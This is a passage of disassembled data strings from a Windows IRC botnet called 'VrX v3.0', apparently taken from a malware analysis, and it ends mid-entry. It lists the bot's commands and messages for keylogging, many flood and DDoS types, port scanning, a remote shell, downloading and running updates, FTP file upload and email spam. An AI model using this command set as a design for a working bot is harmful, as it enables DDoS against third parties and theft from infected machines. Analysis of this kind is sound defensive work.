'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D0Do align 4 unk_429B34 db 3 ; DATA XREF: sub_401ACD+7CF9o a81VrxUserSLogg db '8,1-VrX- User: %s logged in.',0 align 4 unk_429B54 db 3 ; DATA XREF: sub_401ACD+7CDCo a81VrxPasswordA db '8,1-VrX- Password accepted.',0 align 4 unk_429B74 db 3 ; DATA XREF: sub_401ACD+7C7Bo a81VrxFailedHos db '8,1-VrX- *Failed host auth by: (%s!%s).',0 align 10h aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7C52o align 4 unk_429BC8 db 3 ; DATA XREF: sub_401ACD+7C14o a81VrxFailedPas db '8,1-VrX- *Failed pass auth by: (%s!%s).',0 align 4 aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7C02o ; sub_401ACD+7C69o align 10h aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7BEBo align 4 asc_429C48: ; DATA XREF: sub_401ACD+7BBBo unicode 0, <~>,0 unk_429C4C db 3 ; DATA XREF: sub_401ACD+7B6Bo a81VrxRandomNic db '8,1-VrX- Random nick change: %s',0 align 10h unk_429C70 db 3 ; DATA XREF: sub_401ACD+7AFDo a81VrxReconnect db '8,1-VrX- Reconnecting in %s seconds',0 align 4 unk_429C98 db 3 ; DATA XREF: sub_401ACD+7AB9o a81VrxReconne_0 db '8,1-VrX- Reconnecting in %s ms',0 unk_429CB8 db 3 ; DATA XREF: sub_401ACD+7A99o a81VrxNickChang db '8,1-VrX- Nick changed to: ',27h,'%s',27h,'.',0 align 4 unk_429CDC db 3 ; DATA XREF: sub_401ACD+7A7Do a81VrxJoinedCha db '8,1-VrX- Joined channel: ',27h,'%s',27h,'.',0 unk_429CFC db 3 ; DATA XREF: sub_401ACD+7A5Ao a81VrxPartedCha db '8,1-VrX- Parted channel: ',27h,'%s',27h,'.',0 unk_429D1C db 3 ; DATA XREF: sub_401ACD+7A3Eo a81VrxIrcRawS_ db '8,1-VrX- IRC Raw: %s.',0 align 4 unk_429D34 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40948Ao db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToKillTh db '- Failed to kill thread: %s.',0 align 10h unk_429D60 db 2Dh ; - ; DATA XREF: sub_401ACD+79B6o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aKilledThreadS_ db '- Killed thread: %s.',0 align 4 unk_429D84 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40943Do db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aNoActiveThread db '- No active threads found.',0 unk_429DAC db 2Dh ; - ; DATA XREF: sub_401ACD+7966o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aStoppedDThread db '- Stopped: %d thread(s).',0 align 4 aAll db 'all',0 ; DATA XREF: sub_401ACD+794Co unk_429DD8 db 3 ; DATA XREF: sub_401ACD+7848o a81VrxPrefixCha db '8,1-VrX- Prefix changed to: ',27h,'%c',27h,'.',0 align 4 unk_429DFC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409300o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0 unk_429E20 db 2Dh ; - ; DATA XREF: sub_401ACD+7829o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFileOpenedS db ' File opened: %s',0 align 10h unk_429E40 db 3 ; DATA XREF: sub_401ACD+7809o a81VrxServerCha db '8,1-VrX- Server changed to: ',27h,'%s',27h,'.',0 align 4 unk_429E64 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4092BDo db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0 align 4 unk_429E8C db 2Dh ; - ; DATA XREF: sub_401ACD+77C2o db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aLookupSS_ db '- Lookup: %s -> %s.',0 align 4 unk_429EAC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409255o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTermin db ' Failed to terminate process: %s',0 align 4 unk_429EDC db 2Dh ; - ; DATA XREF: sub_401ACD+777Eo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledS db ' Process killed: %s',0 unk_429EFC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4091F5o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTerm_0 db ' Failed to terminate process ID: %s',0 unk_429F2C db 2Dh ; - ; DATA XREF: sub_401ACD+7721o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledI db ' Process killed ID: %s',0 align 10h dword_429F50 dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h ; DATA XREF: sub_401ACD+76DFo dd 27732527h, 2Eh unk_429F6C db 2Dh ; - ; DATA XREF: sub_401ACD+7667o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aSendFileSUserS db '- Send File: %s, User: %s.',0 dword_429F90 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah ; DATA XREF: sub_401ACD+75ECo dd 0 unk_429FA8 db 2Dh ; - ; DATA XREF: sub_401ACD+75BFo db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0 align 4 dword_429FE8 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah ; DATA XREF: sub_401ACD+7550o dd 2Eh dword_42A000 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h ; DATA XREF: sub_401ACD:loc_408F9Do dd 746E6573h, 2Eh unk_42A01C db 2Dh ; - ; DATA XREF: sub_401ACD+74C9o db 3, 34h, 2 db 6Dh ; m db 69h, 72h, 63h db 2 db 3, 2Dh, 20h aClientNotOpen_ db 'Client not open.',0 align 4 dword_42A03C dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh ; DATA XREF: sub_401ACD+748Fo dd 732520h unk_42A054 db 2Dh ; - ; DATA XREF: sub_401ACD+7481o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aErrorSendingTo db '- Error sending to remote shell.',0 align 10h asc_42A080: ; DATA XREF: sub_401ACD+7469o ; sub_4100B4+FBo ... dw 0Ah unicode 0, <>,0 unk_42A084 db 3 ; DATA XREF: sub_401ACD+7441o a81VrxReadFileF db '8,1-VrX- Read file failed: %s',0 align 4 unk_42A0A4 db 3 ; DATA XREF: sub_401ACD+7436o a81VrxReadFileC db '8,1-VrX- Read file complete: %s',0 align 4 aUnknowModeType db 'Unknow mode type.',0 ; DATA XREF: sub_401ACD:loc_408E97o align 4 aFailedToStartL db 'Failed to start logging thread, error: <%d>.',0 ; DATA XREF: sub_401ACD+73B4o align 4 aNormalKeyLogge db 'Normal key logger active.',0 ; DATA XREF: sub_401ACD+733Do align 4 aNormal_0 db 'normal',0 ; DATA XREF: sub_401ACD+72EDo align 10h aKeylogerAlread db 'Keyloger Already running.',0 ; DATA XREF: sub_401ACD+7263o align 4 aVrxV3_0SitesKe db 'VrX v3.0 sites keylogger active.',0 ; DATA XREF: sub_401ACD+7236o ; sub_401ACD+72E5o align 10h aKeylog_0 db 'Keylog',0 ; DATA XREF: sub_401ACD+7231o align 4 unk_42A178 db 3 ; DATA XREF: sub_401ACD+7216o a81VrxGethostS_ db '8,1-VrX- Gethost: %s.',0 align 10h unk_42A190 db 3 ; DATA XREF: sub_401ACD+71D2o a81VrxUnableToE db '8,1-VrX- Unable to extract Gethost command.',0 align 10h unk_42A1C0 db 3 ; DATA XREF: sub_401ACD+71B6o a81VrxGethostSC db '8,1-VrX- Gethost: %s, Command: %s',0 align 4 unk_42A1E4 db 3 ; DATA XREF: sub_401ACD+7119o a81VrxAliasAdde db '8,1-VrX- Alias added: %s.',0 align 10h unk_42A200 db 3 ; DATA XREF: sub_401ACD+70E7o a81VrxPrivmsgSS db '8,1-VrX- Privmsg: %s: %s.',0 align 4 unk_42A21C db 3 ; DATA XREF: sub_401ACD+7096o a81VrxActionSS_ db '8,1-VrX- Action: %s: %s.',0 align 4 dword_42A238 dd 312C3803h, 5872562Dh, 7943202Dh, 2E656C63h, 0 ; DATA XREF: sub_401ACD+7028o dword_42A24C dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+6FEEo ; sub_401ACD+7A49o unk_42A258 db 3 ; DATA XREF: sub_401ACD+6FC7o a81VrxModeChang db '8,1-VrX- Mode change: %s',0 align 4 aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+6FB6o align 10h dword_42A280 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h ; DATA XREF: sub_401ACD+6F8Do dd 25203A29h, 73h dword_42A29C dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h ; DATA XREF: sub_401ACD+6F1Fo dd 203A2973h, 7325h dword_42A2B8 dd 45444F4Dh, 732520h ; DATA XREF: sub_401ACD+6EC7o dword_42A2C0 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh ; DATA XREF: sub_401ACD+6E95o dd 203A2973h, 7325h dword_42A2DC dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6E1Do dword_42A2E8 dd 0A0D7325h, 0 ; DATA XREF: sub_401ACD+6DEBo ; sub_401ACD+6E71o ... dword_42A2F0 dd 54524150h, 732520h ; DATA XREF: sub_401ACD+6DB6o dword_42A2F8 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6D79o aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_42A334 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6D0Eo aFloodingSForSS db '- Flooding %s for %s seconds.',0 align 10h unk_42A360 db 2Dh ; - ; DATA XREF: sub_401ACD+6CA8o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42A39C db 2Dh ; - ; DATA XREF: sub_401ACD+6C39o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0 unk_42A3D0 db 3 ; DATA XREF: sub_401ACD+6B9Do a81VrxRepeatNot db '8,1-VrX- Repeat not allowed in command line: %s',0 align 4 unk_42A404 db 3 ; DATA XREF: sub_401ACD+6B60o a81VrxRepeatS db '8,1-VrX- Repeat: %s',0 align 4 dword_42A41C dd 312C3803h, 5872562Dh, 6544202Dh, 2E79616Ch, 0 ; DATA XREF: sub_401ACD:loc_408591o dword_42A430 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_401ACD+6A84o ; sub_401ACD+6B37o ... dword_42A440 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD:loc_4084F0o aBotIdMustBeDif db '- Bot ID must be different than current running process.',0 align 4 dword_42A488 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6A19o aFailedToStartD db '- Failed to start download thread, error: <%d>.',0 dword_42A4C4 dd 234032Dh, 61526159h, 3022162h ; DATA XREF: sub_401ACD+69AAo aDownloadingUpd db '- Downloading update from: %s.',0 align 10h aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_401ACD+6904o align 4 dword_42A4FC dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h ; DATA XREF: sub_401ACD+68A2o dd 7325203Ah, 0 unk_42A518 db 2Dh ; - ; DATA XREF: sub_401ACD+6897o db 3, 34h, 2 db 65h ; e db 78h, 65h, 63h db 2 db 3, 2Dh, 20h aCouldnTExecute db 'Couldn',27h,'t execute file.',0 align 4 unk_42A53C db 2Dh ; - ; DATA XREF: sub_401ACD+67FDo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aFailedToStar_1 db 'Failed to start search thread, error: <%d>.',0 unk_42A578 db 2Dh ; - ; DATA XREF: sub_401ACD+6787o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingForFi db 'Searching for file: %s in: %s.',0 align 4 dword_42A5A8 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD:loc_40818Do ; sub_401ACD:loc_4091C7o unk_42A5B4 db 2Dh ; - ; DATA XREF: sub_401ACD+66ABo db 3, 34h, 2 db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 4 unk_42A5D8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408156o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0 align 10h unk_42A610 db 2Dh ; - ; DATA XREF: sub_401ACD+667Fo db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFailedToStar_2 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42A648 db 2Dh ; - ; DATA XREF: sub_401ACD+660Fo db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0 align 4 dword_42A674 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+658Co aFailedToStar_3 db '- Failed to start clone thread, error: <%d>.',0 align 10h dword_42A6B0 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+651Do aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0 align 10h unk_42A6E0 db 2Dh ; - ; DATA XREF: sub_401ACD+64A4o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFailedToStar_4 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42A718 db 2Dh ; - ; DATA XREF: sub_401ACD+6435o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0 align 4 unk_42A748 db 2Dh ; - ; DATA XREF: sub_401ACD+63ABo db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFailedToStar_5 db '- Failed to start flood thread, error: <%d>.',0 align 10h unk_42A780 db 2Dh ; - ; DATA XREF: sub_401ACD+633Co db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0 align 10h unk_42A7B0 db 2Dh ; - ; DATA XREF: sub_401ACD+62C3o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFailedToStar_6 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42A7E8 db 2Dh ; - ; DATA XREF: sub_401ACD+6254o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0 align 4 unk_42A824 db 2Dh ; - ; DATA XREF: sub_401ACD+61DBo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aFailedToStartT db 'Failed to start transfer thread, error: <%d>.',0 align 4 dword_42A864 dd 234032Dh, 61526159h, 3022162h ; DATA XREF: sub_401ACD+616Co aDownloadingUrl db '- Downloading URL: %s to: %s.',0 align 10h unk_42A890 db 2Dh ; - ; DATA XREF: sub_401ACD+609Do db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0 align 4 unk_42A8D4 db 2Dh ; - ; DATA XREF: sub_401ACD+602Eo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0 unk_42A910 db 3 ; DATA XREF: sub_401ACD+5F31o a81Sc@nPortScan db '8,1-SC@N- Port scan started: %s:%d with delay: %d(ms).',0 aSSS_1 db '[%s] <%s> %s',0 ; DATA XREF: sub_401ACD+5E85o align 4 aSSS_2 db '[%s] * %s %s',0 ; DATA XREF: sub_401ACD+5DB0o align 4 dword_42A968 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401ACD+5D22o ; sub_401ACD+7074o unk_42A974 db 2Dh ; - ; DATA XREF: sub_401ACD+5CC0o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_7 db 'Failed to start scan thread, error: <%d>.',0 align 10h unk_42A9B0 db 2Dh ; - ; DATA XREF: sub_401ACD+5C51o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStarte db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0 align 10h unk_42AA00 db 3 ; DATA XREF: sub_401ACD+5BBAo ; sub_401ACD+5FA0o a81Sc@nFailedTo db '8,1-SC@N- Failed to start scan thread, error: <%d>.',0 align 4 unk_42AA38 db 3 ; DATA XREF: sub_401ACD+5B4Bo a81Sc@nSPortSca db '8,1-SC@N- %s Port Scan started on %s:%d with a delay of %d second' db 's for %d minutes using %d threads.',0 align 10h unk_42AAA0 db 3 ; DATA XREF: sub_401ACD+59D5o a81Sc@nFailed_0 db '8,1-SC@N- Failed to start scan, no IP specified.',0 align 4 unk_42AAD4 db 3 ; DATA XREF: sub_401ACD+5978o a81Sc@nFailed_1 db '8,1-SC@N- Failed to start scan, port is invalid.',0 align 4 unk_42AB08 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_407320o db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFileS db '- Uploading file: %s to: %s failed.',0 align 4 unk_42AB38 db 2Dh ; - ; DATA XREF: sub_401ACD+584Co db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFil_0 db '- Uploading file: %s to: %s',0 align 10h aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401ACD+5835o aSS_1 db '-s:%s',0 ; DATA XREF: sub_401ACD+581Eo align 10h aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401ACD+57FBo db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 4 aAb db 'ab',0 ; DATA XREF: sub_401ACD+57D7o align 4 aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401ACD+57C6o align 4 unk_42ABA8 db 2Dh ; - ; DATA XREF: sub_401ACD+576Do db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aFileNotFoundS_ db '- File not found: %s.',0 align 4 aUpload db 'upload',0 ; DATA XREF: sub_401ACD+574Ao align 10h unk_42ABD0 db 3 ; DATA XREF: sub_401ACD+5714o a81Sc@nAlreadyD db '8,1-SC@N- Already %d scanning threads. Too many specified.',0 unk_42AC0C db 2Dh ; - ; DATA XREF: sub_401ACD+56B5o db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aFailedToStar_8 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42AC44 db 2Dh ; - ; DATA XREF: sub_401ACD+564Ao db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 4 unk_42AC8C db 2Dh ; - ; DATA XREF: sub_401ACD+5599o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aMessageHasBeen db '- Message has been sent successfuly',0 align 10h unk_42ACC0 db 2Dh ; - ; DATA XREF: sub_401ACD+5565o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aFailedToSendMe db '- Failed to send message, error <%i>.',0 align 4 unk_42ACF4 db 2Dh ; - ; DATA XREF: sub_401ACD+5541o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aNetsendDoesNot db '- NetSend does not work on Win9x systems',0 align 4 unk_42AD2C db 2Dh ; - ; DATA XREF: sub_401ACD+549Fo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aSendingMessage db '- Sending message %s times to %s using name %s',0 aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5482o align 10h unk_42AD80 db 2Dh ; - ; DATA XREF: sub_401ACD+546Do db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aFailedToStar_9 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42ADB8 db 2Dh ; - ; DATA XREF: sub_401ACD+53FEo db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 10h unk_42AE00 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406E1Do db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0 align 4 unk_42AE38 db 2Dh ; - ; DATA XREF: sub_401ACD+5346o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aFailedToSta_10 db '- Failed to start flood thread, error: <%d>.',0 align 10h unk_42AE70 db 2Dh ; - ; DATA XREF: sub_401ACD+52CCo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0 align 4 aNormal db 'Normal',0 ; DATA XREF: sub_401ACD+52BCo align 4 aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401ACD+52B5o unk_42AEB4 db 2Dh ; - ; DATA XREF: sub_401ACD+521Ao db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFloodTy db '- Invalid flood type specified.',0 align 10h aRandom_0 db 'random',0 ; DATA XREF: sub_401ACD+520Ao align 4 aAck db 'ack',0 ; DATA XREF: sub_401ACD+51F3o aHcon db 'hcon',0 ; DATA XREF: sub_401ACD+517Fo align 4 aHttpcon db 'httpcon',0 ; DATA XREF: sub_401ACD+516Co unk_42AEFC db 2Dh ; - ; DATA XREF: sub_401ACD+511Do db 3, 34h, 2 db 65h ; e db 6Dh, 61h, 69h db 6Ch ; l db 2, 3, 2Dh aMessageSentToS db ' Message sent to %s.',0 align 10h aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401ACD+50A9o db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 aEmail db 'email',0 ; DATA XREF: sub_401ACD+4FBEo align 4 aTcp db 'tcp',0 ; DATA XREF: sub_401ACD+4FA7o aTcpflood db 'tcpflood',0 ; DATA XREF: sub_401ACD+4F90o align 4 aVncHttpHostCha db 'VNC: HTTP Host Changed To: %s',0 ; DATA XREF: sub_401ACD+4F66o align 4 aVnchost db 'vnchost',0 ; DATA XREF: sub_401ACD+4F48o aP: ; DATA XREF: sub_401ACD+4F31o ; ___:00438AF0o unicode 0, <p>,0 aPing_0 db 'ping',0 ; DATA XREF: sub_401ACD+4F1Ao align 4 aPingflood db 'pingflood',0 ; DATA XREF: sub_401ACD+4F03o align 4 aNs db 'ns',0 ; DATA XREF: sub_401ACD+4EECo align 4 aNetsend db 'netsend',0 ; DATA XREF: sub_401ACD+4ED5o aU: ; DATA XREF: sub_401ACD+4EBEo ; ___:00438B00o unicode 0, <u>,0 aUdp db 'udp',0 ; DATA XREF: sub_401ACD+4EA7o aUdpflood db 'udpflood',0 ; DATA XREF: sub_401ACD+4E90o align 4 aAd db 'ad',0 ; DATA XREF: sub_401ACD+4E79o align 4 aAdvscan db 'advscan',0 ; DATA XREF: sub_401ACD+4E62o aPsc db 'psc',0 ; DATA XREF: sub_401ACD+4E4Bo aPortscan db 'portscan',0 ; DATA XREF: sub_401ACD+4E34o align 10h aC_a db 'c_a',0 ; DATA XREF: sub_401ACD+4E0Eo aC_action db 'c_action',0 ; DATA XREF: sub_401ACD+4DF7o align 10h aC_pm db 'c_pm',0 ; DATA XREF: sub_401ACD+4DE0o align 4 aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401ACD+4DC9o align 4 aSc db 'sc',0 ; DATA XREF: sub_401ACD+4DB2o align 4 aScan db 'scan',0 ; DATA XREF: sub_401ACD+4D9Bo align 10h aRd db 'rd',0 ; DATA XREF: sub_401ACD+4D84o align 4 aRedirect db 'redirect',0 ; DATA XREF: sub_401ACD+4D6Do align 10h aNazel3 db 'NAZEL3',0 ; DATA XREF: sub_401ACD+4D3Fo ; sub_401ACD+4D56o align 4 aWonk db 'wonk',0 ; DATA XREF: sub_401ACD+4D28o align 10h aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401ACD+4D11o align 4 dword_42B05C dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4D04o aFailedToSta_11 db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_42B098 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4C95o aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0 aSkysyn db 'skysyn',0 ; DATA XREF: sub_401ACD+4C12o align 10h aSyn db 'syn',0 ; DATA XREF: sub_401ACD+4BFBo ; sub_401ACD+51DBo aSynflood db 'synflood',0 ; DATA XREF: sub_401ACD+4BE4o align 10h unk_42B0E0 db 2Dh ; - ; DATA XREF: sub_401ACD+4BD7o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aFailedToSta_12 db '- Failed to start flood thread, error: <%d>.',0 align 10h aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_401ACD+4B00o align 4 aDdos_random db 'ddos.random',0 ; DATA XREF: sub_401ACD+4AE9o ; sub_413694:loc_4137C0o aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_401ACD+4AD2o ; sub_413694:loc_4137A4o align 4 aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_401ACD+4ABBo ; sub_413694+F1o align 10h aClone_0 db 'clone',0 ; DATA XREF: sub_401ACD+4A8Do align 4 aIcmp db 'icmp',0 ; DATA XREF: sub_401ACD+4A64o align 10h aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401ACD+4A4Do align 4 aMv db 'mv',0 ; DATA XREF: sub_401ACD+4A36o align 10h aRename db 'rename',0 ; DATA XREF: sub_401ACD+4A1Fo align 4 aFf db 'ff',0 ; DATA XREF: sub_401ACD+4A08o align 4 aFindfile db 'findfile',0 ; DATA XREF: sub_401ACD+49F1o align 4 aE: ; DATA XREF: sub_401ACD+49DAo unicode 0, <e>,0 aExecute db 'execute',0 ; DATA XREF: sub_401ACD+49C3o aHadeth3 db 'HADETH3',0 ; DATA XREF: sub_401ACD+4995o ; sub_401ACD+49ACo aDe db 'de',0 ; DATA XREF: sub_401ACD+497Eo align 10h aDelay db 'delay',0 ; DATA XREF: sub_401ACD+4967o align 4 aRp db 'rp',0 ; DATA XREF: sub_401ACD+4950o align 4 aRepeat db 'repeat',0 ; DATA XREF: sub_401ACD+4939o ; sub_401ACD+6B0Co align 4 aTsn db 'tsn',0 ; DATA XREF: sub_401ACD+4922o aTsunami db 'tsunami',0 ; DATA XREF: sub_401ACD+490Bo aT3 db 't3',0 ; DATA XREF: sub_401ACD+48F4o align 4 aTarga3 db 'targa3',0 ; DATA XREF: sub_401ACD+48DDo align 4 aC_p db 'c_p',0 ; DATA XREF: sub_401ACD+48C6o aC_part db 'c_part',0 ; DATA XREF: sub_401ACD+48AFo align 4 aC_j db 'c_j',0 ; DATA XREF: sub_401ACD+4898o aC_join db 'c_join',0 ; DATA XREF: sub_401ACD+4881o align 4 aC_n db 'c_n',0 ; DATA XREF: sub_401ACD+486Ao aC_nick db 'c_nick',0 ; DATA XREF: sub_401ACD+4853o align 10h aC_m db 'c_m',0 ; DATA XREF: sub_401ACD+483Co aC_mode db 'c_mode',0 ; DATA XREF: sub_401ACD+4825o align 4 aC_r db 'c_r',0 ; 